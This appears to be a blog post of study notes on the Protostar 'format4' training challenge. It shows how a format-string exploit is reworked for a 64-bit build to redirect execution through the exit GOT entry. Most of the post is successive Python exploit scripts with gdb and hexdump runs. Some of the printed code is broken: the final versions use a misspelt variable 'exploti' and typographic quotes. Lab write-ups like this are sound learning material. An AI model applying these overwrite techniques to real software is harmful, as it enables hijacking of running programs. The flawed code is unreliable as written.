a3fed30XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX8`code execution redirected! you win
-> And that worked! code execution redirected! you win.

: You see the exploit is different from the original 32bit version. # (9:10)
-> It required quite some changes but it also kinda is still the same thing.
-> Definitely not a hard challenge on a modern system.
-> As long as you don’t compile it with “PIE”.
: That was pretty straight forward! (without PIE)

: Exploit Python Code
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
return s+”X”*(512-len(s))

exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += ”%4$33956x”
exploit += “%4$n”
exploit += “%5$33616x”
exploit += “%5$n”

print pad(exploit)

: python format4.py > exp
-> gdb format4
-> run < exp
-> Segmentation fault (=Error)
-> 0x58 = X

: Change the Exploit Python Code
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
return s+”X”*(512-len(s))

exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += “ %p “*16
print pad(exploit)

: python format4.py > exp
-> gdb format4
-> run < exp

: Check the python Code hexdump
-> python format4.py | ./format4 | hexdump -C
-> python format4.py | hexdump -C
-> Check the “null byte”
-> Why? Because 32bit.

: Change Again the Explit Python Code
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
return s+”X”*(512-len(s)-16)

exploit = “”
exploit += “BBBBCCCC”
exploit += “ %p “*100
exploit = pad(exploit)
exploit += struct.pack(”Q”,EXIT_PLT)
exploit += struct.pack(”Q”,EXIT_PLT+2)

print pad(exploit)

: python format4.py | ./format4
-> Count offset

: Change Again the Explit Python Code
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
return s+”X”*(512-len(s)-16)

exploit = “”
exploit += “BBBBCCCC”
exploti += “%{}x”.format(0x676-len(exploit))
exploit += “%68$n“
exploit = pad(exploit)
exploit += struct.pack(”Q”,EXIT_PLT)
exploit += struct.pack(”Q”,EXIT_PLT+2)

print pad(exploit)

: python format4.py | ./format4
-> Segmentation fault(core dumped)
-> Why? $n -> $hn (= need only 2byte)

: Finally Change Again the Exploit Python Code
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
return s+”X”*(512-len(s)-16)

exploit = “”
exploit += “BBBBCCCC”
exploti += “%{}x”.format(0x676-len(exploit))
exploit += “%68$hn“
exploit = pad(exploit)
exploit += struct.pack(”Q”,EXIT_PLT)
exploit += struct.pack(”Q”,EXIT_PLT+2)

print pad(exploit)

: python format4.py | ./format4
-> Success.
-> You see the exploit is different from the original 32bit version.
-> That was pretty straight forward.(without PIE)

'LiveOverFlow > Binary' 카테고리의 다른 글

0x43.  (0) 2021.11.03
0x42.  (0) 2021.11.03
0x40.  (0) 2021.11.03
0x39.  (0) 2021.11.03
0x38.  (0) 2021.11.03
Comments